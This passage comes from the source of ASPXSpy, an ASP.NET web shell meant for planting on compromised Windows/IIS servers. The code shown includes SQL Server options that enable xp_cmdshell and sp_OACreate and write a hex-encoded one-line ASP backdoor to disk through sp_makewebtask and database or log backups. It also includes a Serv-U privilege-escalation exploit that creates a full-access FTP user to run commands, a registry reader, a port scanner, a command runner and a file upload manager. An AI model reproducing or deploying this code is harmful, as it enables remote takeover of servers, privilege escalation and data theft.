  823.             }
  824.             if (Session["Bin_Table"] != null)
  825.             {
  826.                 accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  827.             }
  828.             accstr += "</SELECT>";
  829.             Bin_AccinfoLabel.Text = accstr;
  830.             CloseConnection();
  831.         }
  832.         catch (Exception Error)
  833.         {
  834.             Bin_Error(Error.Message);
  835.         }
  836.     }
  837.     protected void Bin_Databind()
  838.     {
  839.         try
  840.         {
  841.             Bin_SAexecButton.Visible = false;
  842.             Bin_Accbind();
  843.             Bin_Scroll.Visible = true;
  844.             if (Bin_SQLRadioButton.Checked)
  845.             {
  846.                 Bin_DBmenuPanel.Visible = true;
  847.                 Bin_DBinfoLabel.Visible = false;
  848.             }
  849.             Bin_DataGrid.Visible = true;
  850.             DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  851.             Bin_DataGrid.DataSource = databind;
  852.             Bin_DataGrid.DataBind();    
  853.         }
  854.         catch (Exception Error)
  855.         {
  856.            
  857.             Bin_Error(Error.Message);
  858.         }
  859.     }
  860.  
  861.     public void Bin_ExecSql(string instr)
  862.     {
  863.         try
  864.         {
  865.             OpenConnection();
  866.             comm.CommandType = CommandType.Text;
  867.             comm.CommandText = instr;
  868.             comm.ExecuteNonQuery();
  869.         }
  870.         catch (Exception e)
  871.         {
  872.             Bin_Error(e.Message);
  873.         }
  874.     }
  875.     public void Item_DataBound(object sender,DataGridItemEventArgs e)
  876.     {
  877.        
  878.         for (int i = 2; i < e.Item.Cells.Count; i++)
  879.         {
  880.             e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  881.         }
  882.      
  883.     }
  884.    protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  885.     {
  886.         Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  887.         Bin_Databind();
  888.     }
  889.     public void Item_Command(object sender, DataGridCommandEventArgs e)
  890.     {
  891.         if (e.CommandName == "Cancel")
  892.         {
  893.             Bin_DataGrid.EditItemIndex = -1;
  894.             Bin_Databind();
  895.         }
  896.     }
  897.  
  898.     protected void Bin_ExecButton_Click(object sender, EventArgs e)
  899.     {
  900.         try
  901.         {
  902.            
  903.             Bin_Scroll.Visible = true;
  904.             Bin_DataGrid.Visible = true;
  905.             Bin_DataGrid.AllowPaging = true;
  906.             Bin_Accbind();
  907.             if (Bin_SQLRadioButton.Checked)
  908.             {
  909.                 Bin_DBmenuPanel.Visible = true;
  910.             }
  911.             string sqlstr = Bin_DBstrTextBox.Text;
  912.             sqlstr = sqlstr.TrimStart().ToLower();
  913.             if (sqlstr.Substring(0, 6) == "select")
  914.             {
  915.                 DataTable databind = Bin_DataTable(sqlstr);
  916.                 Bin_DataGrid.DataSource = databind;
  917.                 Bin_DataGrid.DataBind();
  918.             }
  919.             else
  920.             {
  921.                 Bin_ExecSql(sqlstr);
  922.                 Bin_Databind();
  923.             }
  924.         }
  925.         catch(Exception error)
  926.         {
  927.             Bin_Error(error.Message);
  928.         }
  929.     }
  930.  
  931.     protected void Bin_BDButton_Click(object sender, EventArgs e)
  932.     {
  933.         Bin_DBinfoLabel.Visible = false;
  934.         Bin_Accbind();
  935.         Bin_DBmenuPanel.Visible = true;
  936.         Bin_DataGrid.Visible = false;
  937.         Bin_DataGrid.AllowPaging = true;
  938.         Bin_Scroll.Visible = false;
  939.         Bin_DBstrTextBox.Text = "";
  940.         Bin_SAexecButton.Visible = false;
  941.         Bin_ResLabel.Visible = false;
  942.         Bin_dirPanel.Visible = false;
  943.        
  944.     }
  945.    
  946.     protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  947.     {
  948.         Bin_DBinfoLabel.Visible = false;
  949.         Bin_DataGrid.Visible = false;
  950.         Bin_Scroll.Visible = false;
  951.         Bin_SAexecButton.Visible = true;
  952.         Bin_Change();
  953.         Bin_ExecButton.Visible = false;
  954.         Bin_ResLabel.Visible = false;
  955.         Session["Bin_Option"] = null;
  956.         Bin_dirPanel.Visible = false;
  957.        
  958.     }
  959.     public void Bin_Change()
  960.     {
  961.         Bin_ExecButton.Visible = false;
  962.         string select = "<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))" + "%" + ">''' \">SP_makewebtask make file";
  963.         if (Session["Bin_Option"] != null)
  964.         {
  965.             select += "<option SELECTED>" + Session["Bin_Option"] + "</option>";
  966.         }
  967.         select += "</select>";
  968.         Bin_AccinfoLabel.Text = select;
  969.         Bin_DataGrid.Visible = false;
  970.         Bin_Scroll.Visible = false;
  971.     }
  972.  
  973.     protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  974.     {
  975.         try
  976.         {
  977.             Bin_Change();
  978.             Bin_DBinfoLabel.Visible = false;
  979.             Bin_ExecButton.Visible = false;
  980.             Bin_Scroll.Visible = false;
  981.             Bin_DataGrid.Visible = false;
  982.             Bin_DBmenuPanel.Visible = true;
  983.             string sqlstr = Bin_DBstrTextBox.Text;
  984.             DataTable databind = Bin_DataTable(sqlstr);
  985.             string res = "";
  986.             foreach (DataRow dr in databind.Rows)
  987.             {
  988.                 for (int i = 0; i < databind.Columns.Count; i++)
  989.                 {
  990.                     res += dr[i] + "\r";
  991.                 }
  992.             }
  993.             Bin_ResLabel.Text = "<hr><div id=\"nei\"><PRE>" + res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;") + "</PRE></div>";
  994.            
  995.            
  996.         }
  997.         catch (Exception error)
  998.         {
  999.             Bin_Error(error.Message);
  1000.         }
  1001.  
  1002.     }
  1003.  
  1004.     protected void Bin_DirButton_Click(object sender, EventArgs e)
  1005.     {
  1006.         Bin_dirPanel.Visible = true;
  1007.         Bin_AccPanel.Visible = false;
  1008.         Bin_DBinfoLabel.Visible = false;
  1009.         Bin_DataGrid.Visible = false;
  1010.         Bin_Scroll.Visible = false;
  1011.     }
  1012.    
  1013.     protected void Bin_listButton_Click(object sender, EventArgs e)
  1014.     {
  1015.         Bin_dirPanel.Visible = true;
  1016.         Bin_AccPanel.Visible = false;
  1017.         Bin_DBinfoLabel.Visible = false;
  1018.         Bin_SqlDir();
  1019.     }
  1020.     public void Bin_SqlDir()
  1021.     {
  1022.         try
  1023.         {
  1024.             Bin_DataGrid.Visible = true;
  1025.             Bin_Scroll.Visible = true;
  1026.             Bin_DataGrid.AllowPaging = false;
  1027.             string exesql = "use pubs;if exists (select * from sysobjects where id = object_id(N'[bin_dir]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400)) INSERT bin_dir EXEC MASTER..XP_dirtree '" + Bin_DirTextBox.Text + "',1,1;";
  1028.             Bin_ExecSql(exesql);
  1029.             DataTable sql_dir = Bin_DataTable("select * from bin_dir");
  1030.             Bin_DataGrid.DataSource = sql_dir;
  1031.             Bin_DataGrid.DataBind();
  1032.         }
  1033.         catch (Exception e)
  1034.         {
  1035.             Bin_Error(e.Message);
  1036.         }
  1037.     }
  1038.  
  1039.     protected void Bin_SuButton_Click(object sender, EventArgs e)
  1040.     {
  1041.         Bin_CmdPanel.Visible = false;
  1042.         Bin_SQLPanel.Visible = false;
  1043.         Bin_SuPanel.Visible = true;
  1044.         Bin_IISPanel.Visible = false;
  1045.         Bin_SuresLabel.Text = "";
  1046.         Bin_LoginPanel.Visible = false;
  1047.         Bin_RegPanel.Visible = false;
  1048.         Bin_PortPanel.Visible = false;
  1049.     }
  1050.  
  1051.     protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1052.     {
  1053.         Bin_DBinfoLabel.Visible = false;
  1054.         Bin_AccPanel.Visible = false;
  1055.         Bin_BakDB();
  1056.     }
  1057.     public void Bin_BakDB()
  1058.     {
  1059.         string path = Bin_DirTextBox.Text.Trim();
  1060.         if (path.Substring(path.Length - 1, 1) == @"\")
  1061.         {
  1062.             path = path + "bin.asp";
  1063.         }
  1064.         else
  1065.         {
  1066.             path = path + @"\bin.asp";
  1067.         }
  1068.         string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup database @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup database @b to disk = @t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1069.         Bin_ExecSql(sql);
  1070.         Bin_SqlDir();  
  1071.     }
  1072.     public void Bin_BakLog()
  1073.     {
  1074.         string path = Bin_DirTextBox.Text.Trim();
  1075.         if (path.Substring(path.Length - 1, 1) == @"\")
  1076.         {
  1077.             path = path + "bin.asp";
  1078.         }
  1079.         else
  1080.         {
  1081.             path = path + @"\bin.asp";
  1082.         }
  1083.         string sql = "if exists (select * from sysobjects where id = object_id(N'[bin_cmd]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table [bin_cmd];create table [bin_cmd] ([cmd] [image]);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x62696E backup log @a to disk = @s;insert into [bin_cmd](cmd) values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000) select @b=db_name(),@t='" + path + "' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1084.         Bin_ExecSql(sql);
  1085.         Bin_SqlDir();
  1086.     }
  1087.  
  1088.     protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1089.     {
  1090.         Bin_DBinfoLabel.Visible = false;
  1091.         Bin_AccPanel.Visible = false;
  1092.         Bin_BakLog();
  1093.     }
  1094.  
  1095.     protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1096.     {
  1097.         string Result = "";
  1098.         string user = Bin_SunameTextBox.Text;
  1099.         string pass = Bin_SupassTextBox.Text;
  1100.         int port = Int32.Parse(Bin_SuportTextBox.Text);
  1101.         string cmd = Bin_SucmdTextBox.Text;
  1102.         string loginuser = "user " + user + "\r\n";
  1103.         string loginpass = "pass " + pass + "\r\n";
  1104.         string site = "SITE MAINTENANCE\r\n";
  1105.         string deldomain = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1106.         string setdomain = "-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1107.         string newdomain = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1108.         string quite = "QUIT\r\n";
  1109.         try
  1110.         {
  1111.             TcpClient tcp = new TcpClient("127.0.0.1", port);
  1112.             tcp.ReceiveBufferSize = 1024;
  1113.             NetworkStream NS = tcp.GetStream();
  1114.             Result = Rev(NS);
  1115.             Result += Send(NS, loginuser);
  1116.             Result += Rev(NS);
  1117.             Result += Send(NS, loginpass);
  1118.             Result += Rev(NS);
  1119.             Result += Send(NS, site);
  1120.             Result += Rev(NS);
  1121.             Result += Send(NS, deldomain);
  1122.             Result += Rev(NS);
  1123.             Result += Send(NS, setdomain);
  1124.             Result += Rev(NS);
  1125.             Result += Send(NS, newdomain);
  1126.             Result += Rev(NS);
  1127.             TcpClient tcp1 = new TcpClient("127.0.0.1", 52521);
  1128.             NetworkStream NS1 = tcp1.GetStream();
  1129.             Result += Rev(NS1);
  1130.             Result += Send(NS1, "user bin\r\n");
  1131.             Result += Rev(NS1);
  1132.             Result += Send(NS1, "pass binftp\r\n");
  1133.             Result += Rev(NS1);
  1134.             Result += Send(NS1, "site exec " + cmd + "\r\n");
  1135.             Result += Rev(NS1);
  1136.             tcp1.Close();
  1137.             Result += Send(NS, deldomain);
  1138.             Result += Rev(NS);
  1139.             Result += Send(NS, quite);
  1140.             Result += Rev(NS);
  1141.             tcp.Close();
  1142.         }
  1143.         catch (Exception error)
  1144.         {
  1145.             Bin_Error(error.Message);
  1146.         }
  1147.         Bin_SuresLabel.Text = "<div id=\"su\"><pre>" + Result + "</pre></div>";
  1148.        
  1149.        
  1150.     }
  1151.     protected string Rev(NetworkStream instream)
  1152.     {
  1153.         string Restr = "";
  1154.         if (instream.CanRead)
  1155.         {
  1156.             byte[] buffer = new byte[1024];
  1157.             instream.Read(buffer, 0, buffer.Length);
  1158.             Restr = Encoding.ASCII.GetString(buffer);
  1159.         }
  1160.         return "<font color = red>" + Restr + "</font><br>";
  1161.        
  1162.     }
  1163.     protected string Send(NetworkStream instream,string Sendstr)
  1164.     {
  1165.         if (instream.CanWrite)
  1166.         {
  1167.             byte[] buffer = Encoding.ASCII.GetBytes(Sendstr);
  1168.             instream.Write(buffer, 0, buffer.Length);
  1169.         }
  1170.         return "<font color = blue>" + Sendstr + "</font><br>";
  1171.     }
  1172.     protected void Bin_IISButton_Click(object sender, EventArgs e)
  1173.     {
  1174.         Bin_LoginPanel.Visible = false;
  1175.         Bin_MainPanel.Visible = false;
  1176.         Bin_MenuPanel.Visible = true;
  1177.         Bin_FilePanel.Visible = false;
  1178.         Bin_CmdPanel.Visible = false;
  1179.         Bin_SQLPanel.Visible = false;
  1180.         Bin_SuPanel.Visible = false;
  1181.         Bin_IISPanel.Visible = true;
  1182.         Bin_RegPanel.Visible = false;
  1183.         Bin_PortPanel.Visible = false;
  1184.         Bin_iisLabel.Text = Bin_iisinfo();
  1185.  
  1186.     }
  1187.  
  1188.     protected void Bin_PortButton_Click(object sender, EventArgs e)
  1189.     {
  1190.         Bin_MenuPanel.Visible = true;
  1191.         Bin_LoginPanel.Visible = false;
  1192.         Bin_CmdPanel.Visible = false;
  1193.         Bin_SQLPanel.Visible = false;
  1194.         Bin_SuPanel.Visible = false;
  1195.         Bin_IISPanel.Visible = false;
  1196.         Bin_RegPanel.Visible = false;
  1197.         Bin_PortPanel.Visible = true;
  1198.         Bin_ScanresLabel.Text = "";
  1199.     }
  1200.  
  1201.     protected void Bin_RegButton_Click(object sender, EventArgs e)
  1202.     {
  1203.         Bin_MenuPanel.Visible = true;
  1204.         Bin_LoginPanel.Visible = false;
  1205.         Bin_CmdPanel.Visible = false;
  1206.         Bin_SQLPanel.Visible = false;
  1207.         Bin_SuPanel.Visible = false;
  1208.         Bin_IISPanel.Visible = false;
  1209.         Bin_RegPanel.Visible = true;
  1210.         Bin_PortPanel.Visible = false;
  1211.         Bin_RegresLabel.Text = "";
  1212.        
  1213.     }
  1214.  
  1215.     protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1216.     {
  1217.         try
  1218.         {
  1219.             string regkey = Bin_KeyTextBox.Text;
  1220.             string subkey = regkey.Substring(regkey.IndexOf("\\") + 1, regkey.Length - regkey.IndexOf("\\") - 1);
  1221.             RegistryKey rk = null;
  1222.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_LOCAL_MACHINE")
  1223.             {
  1224.                 rk = Registry.LocalMachine.OpenSubKey(subkey);
  1225.             }
  1226.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CLASSES_ROOT")
  1227.             {
  1228.                 rk = Registry.ClassesRoot.OpenSubKey(subkey);
  1229.             }
  1230.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_USER")
  1231.             {
  1232.                 rk = Registry.CurrentUser.OpenSubKey(subkey);
  1233.             }
  1234.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_USERS")
  1235.             {
  1236.                 rk = Registry.Users.OpenSubKey(subkey);
  1237.             }
  1238.             if (regkey.Substring(0, regkey.IndexOf("\\")) == "HKEY_CURRENT_CONFIG")
  1239.             {
  1240.                 rk = Registry.CurrentConfig.OpenSubKey(subkey);
  1241.             }
  1242.  
  1243.             Bin_RegresLabel.Text = "<br>Result : " + rk.GetValue(Bin_ValueTextBox.Text, "NULL").ToString();
  1244.         }
  1245.         catch (Exception error)
  1246.         {
  1247.             Bin_Error(error.Message);
  1248.         }
  1249.     }
  1250.  
  1251.     protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1252.     {
  1253.         try
  1254.         {
  1255.             string res = "";
  1256.             string[] port = Bin_PortsTextBox.Text.Split(',');
  1257.             for (int i = 0; i < port.Length; i++)
  1258.             {
  1259.                 res += Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i])) + "<br>";
  1260.             }
  1261.             Bin_ScanresLabel.Text = "<hr>" + res;
  1262.         }
  1263.         catch (Exception error)
  1264.         {
  1265.             Bin_Error(error.Message);
  1266.         }  
  1267.     }
  1268.     protected string Bin_Scan(string ip, int port)
  1269.     {
  1270.        
  1271.         string scanres = "";
  1272.         TcpClient tcp = new TcpClient();
  1273.         tcp.SendTimeout = tcp.ReceiveTimeout = 2000;
  1274.         try
  1275.         {
  1276.             tcp.Connect(ip, port);
  1277.             tcp.Close();
  1278.             scanres = ip + " : " + port + " ................................. <font color=green><b>Open</b></font>";
  1279.         }
  1280.         catch (SocketException e)
  1281.         {
  1282.             scanres = ip + " : " + port + " ................................. <font color=red><b>Close</b></font>";
  1283.         }  
  1284.         return scanres;
  1285.     }
  1286. </script>
  1287. <html xmlns="http://www.w3.org/1999/xhtml" >
  1288. <head runat="server">
  1289.     <title>ASPXSpy1.0 -> Bin:)</title>
  1290. <style type="text/css">
  1291.     A:link {
  1292.       COLOR:#000000; TEXT-DECORATION:None
  1293. }
  1294. A:visited {
  1295.        COLOR:#000000; TEXT-DECORATION:None
  1296. }
  1297. A:active {
  1298.        COLOR:#000000; TEXT-DECORATION:None
  1299. }
  1300. A:hover {
  1301.        COLOR:#000000; TEXT-DECORATION:underline
  1302. }
  1303. BODY {
  1304.     FONT-SIZE: 9pt;
  1305.     FONT-FAMILY: "Courier New";
  1306.     }
  1307. #nei {
  1308.     width:500px;
  1309.     margin:0px auto;
  1310.    
  1311.     overflow:hidden
  1312. }
  1313. #su {
  1314.     width:300px;
  1315.     margin:0px auto;
  1316.    
  1317.     overflow:hidden
  1318. }
  1319. #cmd {
  1320.     width:500px;
  1321.     margin:0px auto;
  1322.    
  1323.     overflow:hidden
  1324. }
  1325.     </style>
  1326.     <script type="text/javascript" language="javascript" >
  1327.     function Command(cmd, str)
  1328.     {
  1329.       var strTmp = str;
  1330.       var frm = document.forms[0];
  1331.       if(cmd == 'del')
  1332.       {
  1333.         if(confirm('Del It ?'))
  1334.         {
  1335.             frm.todo.value = str;
  1336.             frm.goaction.value = cmd;
  1337.             frm.submit();
  1338.         }
  1339.         else return;
  1340.       }
  1341.       if (cmd == 'change')
  1342.       {
  1343.          frm.todo.value = str;  
  1344.          frm.goaction.value = cmd;
  1345.          frm.submit();
  1346.       }
  1347.       if (cmd == 'down')
  1348.       {
  1349.          frm.todo.value = str;
  1350.          frm.goaction.value = cmd;
  1351.          frm.submit();
  1352.       }
  1353.       if (cmd == 'showatt')
  1354.       {
  1355.          frm.todo.value = str;
  1356.          frm.goaction.value = cmd;
  1357.          frm.submit();
  1358.       }
  1359.       if (cmd == 'edit')
  1360.       {
  1361.          frm.todo.value = str;
  1362.          frm.goaction.value = cmd;
  1363.          frm.submit();
  1364.       }
  1365.       if (cmd == 'deldir')
  1366.       {
  1367.       if(confirm('Del It ?'))
  1368.         {
  1369.          frm.todo.value = str;
  1370.          frm.goaction.value = cmd;
  1371.          frm.submit();
  1372.         }
  1373.         else return;
  1374.       }
  1375.       if(cmd == 'rename' )
  1376.       {
  1377.         frm.goaction.value = cmd;
  1378.         frm.todo.value = str + ',';
  1379.         str = prompt('Please input new filename:', strTmp);
  1380.         if(str && (strTmp != str))
  1381.         {
  1382.             frm.todo.value += str;
  1383.             frm.submit();
  1384.         }
  1385.         else return;
  1386.        }
  1387.        if(cmd == 'renamedir' )
  1388.       {
  1389.         frm.goaction.value = cmd;
  1390.         frm.todo.value = str + ',';
  1391.         str = prompt('Please input new foldername:', strTmp);
  1392.         if(str && (strTmp != str))
  1393.         {
  1394.             frm.todo.value += str;
  1395.             frm.submit();
  1396.         }
  1397.         else return;
  1398.        }
  1399.        if (cmd == 'postdata')
  1400.       {
  1401.          frm.todo.value = str.value;
  1402.          frm.goaction.value = cmd;
  1403.          frm.submit();
  1404.       }
  1405.       if (cmd == 'changedata')
  1406.       {
  1407.          frm.todo.value = str.value;
  1408.          frm.intext.value = str.options[str.selectedIndex].innerText
  1409.          frm.goaction.value = cmd;
  1410.          frm.submit();
  1411.       }
  1412.    }
  1413.    
  1414.     </script>
  1415. </head>
  1416. <body>
  1417.     <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1418.             <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1419.             <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1420.             <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1421.             Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1422.             <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1423.             <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1424.                 <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1425.             <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1426.                 <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1427.                 <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1428.                     ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1429.                 <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1430.                 <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1431.             <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1432.             <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright (C) 2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1433.         <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1434.             <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False"  ></asp:Label></div></asp:Panel><div style="text-align: center">
  1435.             <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1436.             <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile :  "></asp:Label>
  1437.             <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1438.                 <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1439.             <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1440.             <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1441.             <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1442.                 runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1443.             <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1444.             <br />
  1445.             <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1446.             &nbsp;
  1447.             <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1448.             <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1449.             <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1450.             <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1451.             <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1452.                 <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1453.                 <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1454.                     FileName :
  1455.                     <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1456.                     <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1457.                     <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1458.                     <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1459.                     <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1460.                     <br />
  1461.                     CreationTime :
  1462.                     <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1463.                     LastWriteTime :
  1464.                     <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1465.                     LastAccessTime :
  1466.                     <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1467.                     <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1468.                     <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1469.                     <hr />
  1470.                 </asp:Panel></div>
  1471.                 <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1472.                     Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1473.                     <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1474.                     <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1475.                         ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1476.                 <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1477.                     CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1478.                     Argument :
  1479.                     <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1480.                     <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1481.                     <div style="text-align: left">
  1482.                     <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1483.                     <hr /></asp:Panel>
  1484.         <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1485.             <hr />
  1486.             ConnString :
  1487.             <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1488.             <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1489.             <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
